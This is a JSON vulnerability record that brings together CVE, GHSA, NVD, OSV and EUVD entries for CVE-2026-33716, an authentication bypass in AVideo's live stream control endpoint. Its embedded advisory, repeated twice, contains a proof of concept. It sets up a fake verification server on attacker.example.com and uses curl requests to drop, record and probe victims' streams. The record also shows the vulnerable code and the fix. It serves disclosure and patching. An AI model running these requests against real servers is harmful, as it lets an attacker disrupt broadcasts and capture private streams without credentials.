{"id":"CVE-2026-33716","aliases":["EUVD-2026-14502","GHSA-9hv9-gvwm-95f2"],"status":"published","title":"AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. Commit 388fcd57dbd16f6cb3ebcdf1d08cf2b929941128 contains a patch.","severity":{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00455,"percentile":0.39909,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-287"],"published":"2026-03-23T18:46:47Z","modified":"2026-10-28T02:30:22Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-9hv9-gvwm-95f2","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/388fcd57dbd16f6cb3ebcdf1d08cf2b929941128","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33716","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9hv9-gvwm-95f2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33716.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33716","title":"AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. Commit 388fcd57dbd16f6cb3ebcdf1d08cf2b929941128 contains a patch.","status":"published","published":"2026-03-23T18:46:47.412Z","modified":"2026-03-24T14:25:27.605Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14502","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. Commit 388fcd57dbd16f6cb3ebcdf1d08cf2b929941128 contains a patch.","status":"published","published":"2026-03-23T18:46:47Z","modified":"2026-03-24T14:25:27Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:25:30.317985Z"}],"ghsa":[{"id":"GHSA-9hv9-gvwm-95f2","title":"AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php","description":"## Summary\n\nThe standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.\n\n## Details\n\nThe vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation:\n\n**`plugin/Live/standAloneFiles/control.json.php:77-79`** — User input overrides server config:\n```php\nif (!empty($_REQUEST['streamerURL'])) {\n    $streamerURL = $_REQUEST['streamerURL'];\n}\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:83-91`** — The user-controlled value is assigned to the request object:\n```php\n$obj-\u003estreamerURL = $streamerURL;\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:115-126`** — Token verification is sent to the attacker-controlled URL:\n```php\n$verifyTokenURL = \"{$obj-\u003estreamerURL}plugin/Live/verifyToken.json.php?token={$obj-\u003etoken}\";\n// ...\n$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));\n```\n\nThe legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with `{\"error\": false}`.\n\nAfter authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module.\n\nSSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.\n\nNotably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *\"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF.\"* The same fix was not applied to `control.json.php`.\n\n## PoC\n\n**Step 1:** Set up an attacker server that returns `{\"error\": false}` for all requests.\n\n```bash\n# Minimal Python server on attacker machine (attacker.example.com:8888)\npython3 -c '\nimport http.server, json\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"error\": False}).encode())\n    def log_message(self, *a): pass\nhttp.server.HTTPServer((\"0.0.0.0\", 8888), H).serve_forever()\n'\n```\n\n**Step 2:** Drop a victim's live stream (kill their broadcast):\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=drop_publisher\u0026name=VICTIM_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\nExpected response (authentication bypassed, command executed):\n```json\n{\"error\":false,\"msg\":\"\",\"streamerURL\":\"http://attacker.example.com:8888/\",\"token\":\"anything\",\"command\":\"drop_publisher\",\"app\":\"live\",\"name\":\"VICTIM_STREAM_KEY\",\"response\":\"\",\"requestedURL\":\"http://localhost:8080/control/drop/publisher?app=live\u0026name=VICTIM_STREAM_KEY\"}\n```\n\n**Step 3:** Start unauthorized recording of a victim's stream:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=record_start\u0026name=VICTIM_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\n**Step 4:** Probe whether a stream name is active:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=is_recording\u0026name=GUESS_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\n## Impact\n\n- **Denial of Service on Live Streams:** Any unauthenticated attacker can terminate any active live broadcast using `drop_publisher`, causing immediate disruption for streamers and viewers.\n- **Unauthorized Recording:** An attacker can start recording any live stream without authorization using `record_start`, potentially capturing private or sensitive content.\n- **Stream Enumeration:** The `is_recording` command allows probing for valid stream names.\n- **SSRF:** The server makes an outbound HTTP request to an attacker-controlled URL via `file_get_contents()`, which could be used to scan internal services or exfiltrate data via the request URL.\n- **No authentication required:** The entire attack is performed without any credentials.\n\n## Recommended Fix\n\nRemove the `streamerURL` request parameter override entirely, matching the fix already applied in `saveDVR.json.php`. In `plugin/Live/standAloneFiles/control.json.php`, replace lines 77-79:\n\n```php\n// BEFORE (vulnerable):\nif (!empty($_REQUEST['streamerURL'])) {\n    $streamerURL = $_REQUEST['streamerURL'];\n}\n\n// AFTER (fixed):\n// SECURITY: User-supplied streamerURL is intentionally NOT accepted.\n// Allowing it would enable authentication bypass and SSRF via file_get_contents\n// on an attacker-controlled host. streamerURL MUST come from the configuration\n// file or be hard-coded in this file above.\nif (empty($streamerURL)) {\n    error_log(\"control.json.php: streamerURL is not configured\");\n    die(json_encode(['error' =\u003e true, 'msg' =\u003e 'Server not configured']));\n}\n```","status":"published","published":"2026-03-25T21:28:21Z","modified":"2026-03-25T21:28:23Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:39:42.712607Z"}],"nvd":[{"id":"CVE-2026-33716","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. Commit 388fcd57dbd16f6cb3ebcdf1d08cf2b929941128 contains a patch.","status":"published","published":"2026-03-23T19:16:42.323Z","modified":"2026-06-17T10:37:58.657Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33716","title":"AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. Commit 388fcd57dbd16f6cb3ebcdf1d08cf2b929941128 contains a patch.","status":"published","published":"2026-03-23T18:46:47.412Z","modified":"2026-10-28T02:30:22.402617677Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-9hv9-gvwm-95f2","title":"AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php","description":"## Summary\n\nThe standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{\"error\": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.\n\n## Details\n\nThe vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation:\n\n**`plugin/Live/standAloneFiles/control.json.php:77-79`** — User input overrides server config:\n```php\nif (!empty($_REQUEST['streamerURL'])) {\n    $streamerURL = $_REQUEST['streamerURL'];\n}\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:83-91`** — The user-controlled value is assigned to the request object:\n```php\n$obj-\u003estreamerURL = $streamerURL;\n```\n\n**`plugin/Live/standAloneFiles/control.json.php:115-126`** — Token verification is sent to the attacker-controlled URL:\n```php\n$verifyTokenURL = \"{$obj-\u003estreamerURL}plugin/Live/verifyToken.json.php?token={$obj-\u003etoken}\";\n// ...\n$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));\n```\n\nThe legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with `{\"error\": false}`.\n\nAfter authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module.\n\nSSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.\n\nNotably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *\"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF.\"* The same fix was not applied to `control.json.php`.\n\n## PoC\n\n**Step 1:** Set up an attacker server that returns `{\"error\": false}` for all requests.\n\n```bash\n# Minimal Python server on attacker machine (attacker.example.com:8888)\npython3 -c '\nimport http.server, json\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"error\": False}).encode())\n    def log_message(self, *a): pass\nhttp.server.HTTPServer((\"0.0.0.0\", 8888), H).serve_forever()\n'\n```\n\n**Step 2:** Drop a victim's live stream (kill their broadcast):\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=drop_publisher\u0026name=VICTIM_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\nExpected response (authentication bypassed, command executed):\n```json\n{\"error\":false,\"msg\":\"\",\"streamerURL\":\"http://attacker.example.com:8888/\",\"token\":\"anything\",\"command\":\"drop_publisher\",\"app\":\"live\",\"name\":\"VICTIM_STREAM_KEY\",\"response\":\"\",\"requestedURL\":\"http://localhost:8080/control/drop/publisher?app=live\u0026name=VICTIM_STREAM_KEY\"}\n```\n\n**Step 3:** Start unauthorized recording of a victim's stream:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=record_start\u0026name=VICTIM_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\n**Step 4:** Probe whether a stream name is active:\n\n```bash\ncurl -s \"https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything\u0026command=is_recording\u0026name=GUESS_STREAM_KEY\u0026app=live\u0026streamerURL=http://attacker.example.com:8888/\"\n```\n\n## Impact\n\n- **Denial of Service on Live Streams:** Any unauthenticated attacker can terminate any active live broadcast using `drop_publisher`, causing immediate disruption for streamers and viewers.\n- **Unauthorized Recording:** An attacker can start recording any live stream without authorization using `record_start`, potentially capturing private or sensitive content.\n- **Stream Enumeration:** The `is_recording` command allows probing for valid stream names.\n- **SSRF:** The server makes an outbound HTTP request to an attacker-controlled URL via `file_get_contents()`, which could be used to scan internal services or exfiltrate data via the request URL.\n- **No authentication required:** The entire attack is performed without any credentials.\n\n## Recommended Fix\n\nRemove the `streamerURL` request parameter override entirely, matching the fix already applied in `saveDVR.json.php`. In `plugin/Live/standAloneFiles/control.json.php`, replace lines 77-79:\n\n```php\n// BEFORE (vulnerable):\nif (!empty($_REQUEST['streamerURL'])) {\n    $streamerURL = $_REQUEST['streamerURL'];\n}\n\n// AFTER (fixed):\n// SECURITY: User-supplied streamerURL is intentionally NOT accepted.\n// Allowing it would enable authentication bypass and SSRF via file_get_contents\n// on an attacker-controlled host. streamerURL MUST come from the configuration\n// file or be hard-coded in this file above.\nif (empty($streamerURL)) {\n    error_log(\"control.json.php: streamerURL is not configured\");\n    die(json_encode(['error' =\u003e true, 'msg' =\u003e 'Server not configured']));\n}\n```","status":"published","published":"2026-03-25T21:28:21Z","modified":"2026-03-25T21:41:21.112423Z","cvss":[{"version":"3.1","score":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:46:43.875515Z"}]}}